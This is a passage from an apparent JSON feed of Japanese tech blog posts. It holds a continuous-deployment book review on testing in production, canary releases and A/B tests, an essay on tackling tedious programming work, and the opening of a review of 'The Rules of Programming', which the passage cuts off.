の影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intec_3shake/","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevEXとは","contentSnippet":"目次 はじめに DevExとは何か DevExがアプリケーションとインフラにもたらすメリット DevExを始める時のポイント 代表的なDevEx技術 DevExに関する事例 Sreakeでできること 1. はじめに De […]The post DevEXとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devex%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:53.000Z","dateMiliSeconds":1727660153000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevOpsとは","contentSnippet":"目次 はじめに DevOpsとは何か DevOpsがもたらすメリット DevOpsを始める時のポイント DevOpsに関連する技術や組織 DevOpsに関する事例 Sreakeでできること 1. はじめに DevOpsは […]The post DevOpsとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devops%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:30.000Z","dateMiliSeconds":1727660130000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティとは","contentSnippet":"目次 はじめに オブザーバビリティとは、従来の監視との違い 代表的なオブザーバビリティツールと機能の特徴 オブザーバビリティツール導入のポイント オブザーバビリティツールの導入事例 Sreakeでできること 1. はじめ […]The post オブザーバビリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%aa%e3%83%96%e3%82%b6%e3%83%bc%e3%83%90%e3%83%93%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:09.000Z","dateMiliSeconds":1727660109000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","contentSnippet":"目次 はじめに クラウドシステムのセキュリティリスクとは クラウドシステムの代表的なセキュリティ対策 セキュリティ対策の実施に必要なこと Sreakeでできること 1. はじめに 近年、企業のIT環境は急速にクラウド化が […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rのヘルプを便利にするfelp v0.6.0をリリース","contentSnippet":"Rのヘルプを便利にするfelpパッケージのv0.6.0をリリースしました。felpはfunctional helpの略称です。数年前のTokyo.Rでの雑談がきっかけで生まれたパッケージで主に以下の機能があります。","link":"https://blog.atusy.net/2024/09/27/felp-0-6-0/","isoDate":"2024-09-27T00:00:00.000Z","dateMiliSeconds":1727395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/moderninfra_appssummit/","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クリアファイルで財布に入るキーケースを作った","contentSnippet":"昨日の記事で紹介したhmnyのコンパクト財布に入るキーケースを作りました。クリアファイルを加工しているので薄くて軽くて丈夫です。逆さにして振っても鍵が落ちてこない絶妙なホールド力も実現。ハンドメイドなので、自分の鍵にサイズを合わせられるメリットが活きています。自宅と自転車の鍵が入ります。間にはマスキングテープでスマートタグのTileを貼りつけています。これで最低限必要な鍵は財布と共に持ち歩けます。トラッキングも鍵と財布で分けずに一元化できます。空の状態はこんな感じ。クリアファイルから必要なサイズを切り取って、鍵の形に合わせて溶着しています。クリアファイルはポリプロピレン製で230度~280度の温度で溶着できるとのことだったので、温度調整機能つきのはんだごてを270度に設定して使いました。こて先が広めな面状のものを使うと、もう少し仕上がりがよかったかもしれません。","link":"https://blog.atusy.net/2024/09/21/handmade-keycase/","isoDate":"2024-09-21T00:00:00.000Z","dateMiliSeconds":1726876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"hmny casualのコンパクト財布を買った","contentSnippet":"10年以上、アブラサスの旅行財布を使っていましたが、この度、hmny casualのコンパクト財布に買い替えました。写真はやや青みがかかってますが、実際には黄緑に近い色です。皺の入りかたは個体差があり、1つと同じ商品がないところもステキ。","link":"https://blog.atusy.net/2024/09/20/hmny-wallet/","isoDate":"2024-09-20T00:00:00.000Z","dateMiliSeconds":1726790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO\'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー\uD83C\uDF0Fあの名台詞、英語で言ってみよう!\\"誉れは浜で死にました。ハーンの首をとるために。\\"\\"Honor died on the beach. Khan deserves to suffer.\\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常に